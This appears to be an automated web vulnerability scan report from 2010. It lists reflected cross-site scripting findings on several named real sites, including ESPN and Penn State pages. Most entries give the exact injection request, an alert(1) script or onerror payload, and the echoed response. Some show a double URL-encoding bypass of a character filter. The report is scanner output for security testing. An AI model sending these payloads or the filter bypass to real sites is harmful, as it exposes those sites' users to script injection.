HTTP/1.1 200 OK Date: Fri, 10 Dec 2010 22:09:17 GMT Content-Type: text/html;charset=iso-8859-1 Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN06 Set-Cookie: SWID=E823B239-0457-4680-AA63-0BE68497BB51; path=/; expires=Fri, 10-Dec-2030 22:09:17 GMT; domain=.go.com; Cache-Expires: Fri, 10 Dec 2010 22:14:17 GMT InvH: blog-ncfnation Content-Length: 63248 Cache-Control: no-cache Pragma: no-cache Set-Cookie: DE2=dXNhO3R4O2hvdXN0b247YnJvYWRiYW5kOzU7NDszOzYxODswMjkuNzYzOy0wOTUuMzYzOzg0MDs0NDsxODs2O3VzOw==; expires=Mon, 20 Dec 2010 22:09:17 GMT; Path=/; Domain=.go.com Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content- ...[SNIP]... <a href="/blog/ncfnation/post/_/id/35129/psu-to-face-florida-in-meyers-last-game/x2257eec"><a>04b7bbf9081/sort/oldest"> ...[SNIP]...
1.20. http://espn.go.com/blog/ncfnation/post/_/id/35129/psu-to-face-florida-in-meyers-last-game/x22 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b650"><script>alert(1)</script>2745935569f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/ncfnation/post/_/id/35129/psu-to-face-florida-in-meyers-last-game/x22?5b650"><script>alert(1)</script>2745935569f=1 HTTP/1.1 Host: espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Fri, 10 Dec 2010 22:09:05 GMT Content-Type: text/html;charset=iso-8859-1 Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN21 Set-Cookie: SWID=3C381FCF-F092-41EB-84CF-DF475411D45E; path=/; expires=Fri, 10-Dec-2030 22:09:05 GMT; domain=.go.com; Cache-Expires: Fri, 10 Dec 2010 22:14:05 GMT InvH: blog-ncfnation Content-Length: 63273 Cache-Control: no-cache Pragma: no-cache Set-Cookie: DE2=dXNhO3R4O2hvdXN0b247YnJvYWRiYW5kOzU7NDszOzYxODswMjkuNzYzOy0wOTUuMzYzOzg0MDs0NDsxODs2O3VzOw==; expires=Mon, 20 Dec 2010 22:09:05 GMT; Path=/; Domain=.go.com Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content- ...[SNIP]... <a href="/blog/ncfnation/post/_/id/35129/psu-to-face-florida-in-meyers-last-game/x22/5b650"><script>alert(1)</script>2745935569f=1/sort/oldest"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5a801"><img%20src%3da%20onerror%3dalert(1)>6d045ae05fa was submitted in the REST URL parameter 1. This input was echoed as 5a801"><img src=a onerror=alert(1)>6d045ae05fa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /tools5a801"><img%20src%3da%20onerror%3dalert(1)>6d045ae05fa/ HTTP/1.1 Host: flowplayer.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.65 Date: Fri, 10 Dec 2010 22:09:21 GMT Content-Type: text/html;charset=ISO-8859-1 Connection: close Cache-control: private Content-Length: 5920
Prefer web standards over Flash. Video is the only exception (f ...[SNIP]... <body id="tools5a801"><img src=a onerror=alert(1)>6d045ae05fa" class="msie tools"> ...[SNIP]...
1.22. http://guru.psu.edu/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://guru.psu.edu
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a7c34"><script>alert(1)</script>9867b24f8e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?a7c34"><script>alert(1)</script>9867b24f8e=1 HTTP/1.1 Host: guru.psu.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 10 Dec 2010 22:06:51 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=599596;expires=Sun, 02-Dec-2040 22:06:51 GMT;path=/ Set-Cookie: CFTOKEN=ccb3a5aeb67997d6-D2528058-1EC9-B2F6-2C008E0271323B9D;expires=Sun, 02-Dec-2040 22:06:51 GMT;path=/ Set-Cookie: CFID=599596;path=/ Set-Cookie: CFTOKEN=ccb3a5aeb67997d6%2DD2528058%2D1EC9%2DB2F6%2D2C008E0271323B9D;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr"> ...[SNIP]... <a href="/home.cfm?a7c34"><script>alert(1)</script>9867b24f8e=1&nocss=1" title="View Text Only Version"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload c3bec<script>alert(1)</script>3f4708833d7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /storyc3bec<script>alert(1)</script>3f4708833d7/50272 HTTP/1.1 Host: live.psu.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.3.3 Last-Modified: Fri, 10 Dec 2010 22:06:54 GMT Pragma: public Content-Length: 19371 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from ursquid1:80 Vary: Accept-Encoding Cache-Control: public, max-age=60 Expires: Fri, 10 Dec 2010 22:07:54 GMT Date: Fri, 10 Dec 2010 22:06:54 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><! ...[SNIP]... <p>Sorry, but we cannot find what you are looking for at /storyc3bec<script>alert(1)</script>3f4708833d7/50272. It may have moved or perhaps you just followed a bad link to get here.</p> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 35816<script>alert(1)</script>5499bb56564 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /story/5027235816<script>alert(1)</script>5499bb56564 HTTP/1.1 Host: live.psu.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.3.3 Last-Modified: Fri, 10 Dec 2010 22:06:55 GMT Pragma: public Content-Length: 19371 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from ursquid1:80 Vary: Accept-Encoding Cache-Control: public, max-age=57 Expires: Fri, 10 Dec 2010 22:07:52 GMT Date: Fri, 10 Dec 2010 22:06:55 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><! ...[SNIP]... <p>Sorry, but we cannot find what you are looking for at /story/5027235816<script>alert(1)</script>5499bb56564. It may have moved or perhaps you just followed a bad link to get here.</p> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload e981c<script>alert(1)</script>3bc347baf83 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /storye981c<script>alert(1)</script>3bc347baf83/50288 HTTP/1.1 Host: live.psu.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.3.3 Last-Modified: Fri, 10 Dec 2010 22:06:54 GMT Pragma: public Content-Length: 19371 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from ursquid1:80 Vary: Accept-Encoding Cache-Control: public, max-age=55 Expires: Fri, 10 Dec 2010 22:07:49 GMT Date: Fri, 10 Dec 2010 22:06:54 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><! ...[SNIP]... <p>Sorry, but we cannot find what you are looking for at /storye981c<script>alert(1)</script>3bc347baf83/50288. It may have moved or perhaps you just followed a bad link to get here.</p> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 559f9<script>alert(1)</script>32448649504 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /story/50288559f9<script>alert(1)</script>32448649504 HTTP/1.1 Host: live.psu.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.3.3 Last-Modified: Fri, 10 Dec 2010 22:06:55 GMT Pragma: public Content-Length: 19371 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from ursquid1:80 Vary: Accept-Encoding Cache-Control: public, max-age=55 Expires: Fri, 10 Dec 2010 22:07:50 GMT Date: Fri, 10 Dec 2010 22:06:55 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><! ...[SNIP]... <p>Sorry, but we cannot find what you are looking for at /story/50288559f9<script>alert(1)</script>32448649504. It may have moved or perhaps you just followed a bad link to get here.</p> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 12675<script>alert(1)</script>d5bc5effe81 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /story12675<script>alert(1)</script>d5bc5effe81/50365 HTTP/1.1 Host: live.psu.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.3.3 Last-Modified: Fri, 10 Dec 2010 22:06:54 GMT Pragma: public Content-Length: 19371 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from ursquid1:80 Vary: Accept-Encoding Cache-Control: public, max-age=58 Expires: Fri, 10 Dec 2010 22:07:52 GMT Date: Fri, 10 Dec 2010 22:06:54 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><! ...[SNIP]... <p>Sorry, but we cannot find what you are looking for at /story12675<script>alert(1)</script>d5bc5effe81/50365. It may have moved or perhaps you just followed a bad link to get here.</p> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload eef93<script>alert(1)</script>0992646a007 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /story/50365eef93<script>alert(1)</script>0992646a007 HTTP/1.1 Host: live.psu.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.3.3 Last-Modified: Fri, 10 Dec 2010 22:06:54 GMT Pragma: public Content-Length: 19371 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from ursquid1:80 Vary: Accept-Encoding Cache-Control: public, max-age=60 Expires: Fri, 10 Dec 2010 22:07:54 GMT Date: Fri, 10 Dec 2010 22:06:54 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><! ...[SNIP]... <p>Sorry, but we cannot find what you are looking for at /story/50365eef93<script>alert(1)</script>0992646a007. It may have moved or perhaps you just followed a bad link to get here.</p> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 7549a<script>alert(1)</script>b715d6337c7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tag7549a<script>alert(1)</script>b715d6337c7/research HTTP/1.1 Host: live.psu.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.3.3 Last-Modified: Fri, 10 Dec 2010 22:06:54 GMT Pragma: public Content-Length: 19372 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from ursquid1:80 Vary: Accept-Encoding Cache-Control: public, max-age=56 Expires: Fri, 10 Dec 2010 22:07:50 GMT Date: Fri, 10 Dec 2010 22:06:54 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><! ...[SNIP]... <p>Sorry, but we cannot find what you are looking for at /tag7549a<script>alert(1)</script>b715d6337c7/research. It may have moved or perhaps you just followed a bad link to get here.</p> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload bd751<script>alert(1)</script>25314a268 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tag/researchbd751<script>alert(1)</script>25314a268 HTTP/1.1 Host: live.psu.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.3.3 Last-Modified: Fri, 10 Dec 2010 22:06:56 GMT Pragma: public Content-Length: 19370 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from ursquid1:80 Vary: Accept-Encoding Cache-Control: public, max-age=58 Expires: Fri, 10 Dec 2010 22:07:54 GMT Date: Fri, 10 Dec 2010 22:06:56 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><! ...[SNIP]... <p>Sorry, but we cannot find what you are looking for at /tag/researchbd751<script>alert(1)</script>25314a268. It may have moved or perhaps you just followed a bad link to get here.</p> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload a506e<script>alert(1)</script>091f6377765 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /x22a506e<script>alert(1)</script>091f6377765 HTTP/1.1 Host: live.psu.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.3.3 Last-Modified: Fri, 10 Dec 2010 22:06:54 GMT Pragma: public Content-Length: 19363 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from ursquid1:80 Vary: Accept-Encoding Cache-Control: public, max-age=60 Expires: Fri, 10 Dec 2010 22:07:54 GMT Date: Fri, 10 Dec 2010 22:06:54 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><! ...[SNIP]... <p>Sorry, but we cannot find what you are looking for at /x22a506e<script>alert(1)</script>091f6377765. It may have moved or perhaps you just followed a bad link to get here.</p> ...[SNIP]...
1.32. http://live.psu.edu/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://live.psu.edu
Path:
/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 4a241<script>alert(1)</script>aa59647fe3f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /x22?4a241<script>alert(1)</script>aa59647fe3f=1 HTTP/1.1 Host: live.psu.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.3.3 Last-Modified: Fri, 10 Dec 2010 22:06:53 GMT Pragma: public Content-Length: 19366 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from ursquid1:80 Vary: Accept-Encoding Cache-Control: public, max-age=60 Expires: Fri, 10 Dec 2010 22:07:53 GMT Date: Fri, 10 Dec 2010 22:06:53 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><! ...[SNIP]... <p>Sorry, but we cannot find what you are looking for at /x22?4a241<script>alert(1)</script>aa59647fe3f=1. It may have moved or perhaps you just followed a bad link to get here.</p> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7aec2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eeb02ebe6122 was submitted in the REST URL parameter 2. This input was echoed as 7aec2"><script>alert(1)</script>eb02ebe6122 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /teams/penn_state-nittany_lions7aec2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eeb02ebe6122/schedule HTTP/1.1 Host: ncaafootball.fanhouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Fri, 10 Dec 2010 22:07:16 GMT Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Set-Cookie: JSESSIONID=6A1D3EE04EFDEF74E9A46BB19FE567BF; Path=/ Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en"> <head>
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 36f58%253cscript%253ealert%25281%2529%253c%252fscript%253e1a21e2c9fcc was submitted in the REST URL parameter 2. This input was echoed as 36f58<script>alert(1)</script>1a21e2c9fcc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /teams/penn_state-nittany_lions36f58%253cscript%253ealert%25281%2529%253c%252fscript%253e1a21e2c9fcc/schedule HTTP/1.1 Host: ncaafootball.fanhouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Fri, 10 Dec 2010 22:07:22 GMT Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Set-Cookie: JSESSIONID=7127B0A0FD7AF0851F483F29F7248BFD; Path=/ Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en"> <head>
...[SNIP]... <h1>Penn State Nittany Lions36f58<script>alert(1)</script>1a21e2c9fcc<span class="titleMain"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as text between TITLE tags. The payload 10e11%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2ca4b1309b3 was submitted in the REST URL parameter 2. This input was echoed as 10e11</title><script>alert(1)</script>2ca4b1309b3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /teams/penn_state-nittany_lions10e11%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2ca4b1309b3/schedule HTTP/1.1 Host: ncaafootball.fanhouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Fri, 10 Dec 2010 22:07:27 GMT Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Set-Cookie: JSESSIONID=E6D74FBEA0AFB28685E486DEC7CB911C; Path=/ Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en"> <head>
...[SNIP]... <title>Penn State Nittany Lions10e11</title><script>alert(1)</script>2ca4b1309b3 Scores and Schedule -- NCAA College Football</title> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 36b3f'%3bfa17da1bad9 was submitted in the REST URL parameter 2. This input was echoed as 36b3f';fa17da1bad9 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /teams/penn_state-nittany_lions36b3f'%3bfa17da1bad9/schedule HTTP/1.1 Host: ncaafootball.fanhouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Fri, 10 Dec 2010 22:07:17 GMT Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Set-Cookie: JSESSIONID=595DCD43D723BEC3CC4602C83BF1BC2F; Path=/ Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en"> <head>
...[SNIP]... <!-- function runOmni(){ s_265.pfxID='spr'; s_265.pageName=s_265.pfxID + ' : CFB penn_state nittany_lions36b3f';fa17da1bad9 Scores and Schedules'; s_265.channel='us.sports'; s_265.mmxgo=true; s_265.linkInternalFilters="javascript:,fanhouse.com,mmafighting.com,mmafighting.net,sports.aol.com,aol.com,fleaflicker.com"; s_265.p ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d21c4'-alert(1)-'3ee5c210e9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /x22d21c4'-alert(1)-'3ee5c210e9 HTTP/1.1 Host: publix.pissedconsumer.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/5.1.6 Set-Cookie: 8092e5e7d9115742fe6b5f7c78b1d51b=-; path=/; domain=.pissedconsumer.com Set-Cookie: mosvisitor=1 Set-Cookie: PHPSESSID=vlamjam8g83903868ensqupmg1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Content-Length: 78653 Date: Fri, 10 Dec 2010 22:50:50 GMT Age: 0 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content- ...[SNIP]... <script type="text/javascript"> _uacct ="UA-1938061-1"; _udn="pissedconsumer.com";
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1a68a"><script>alert(1)</script>df98b246d8c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /x221a68a"><script>alert(1)</script>df98b246d8c HTTP/1.1 Host: publix.pissedconsumer.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/5.1.6 Set-Cookie: 8092e5e7d9115742fe6b5f7c78b1d51b=-; path=/; domain=.pissedconsumer.com Set-Cookie: mosvisitor=1 Set-Cookie: PHPSESSID=amentgaqhsp4me28ncocvjehe6; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Content-Length: 78800 Date: Fri, 10 Dec 2010 22:50:46 GMT Age: 0 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content- ...[SNIP]... <a href="http://publix.pissedconsumer.com/x221a68a"><script>alert(1)</script>df98b246d8c#comments-section"> ...[SNIP]...
1.39. http://publix.pissedconsumer.com/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://publix.pissedconsumer.com
Path:
/x22
Issue detail
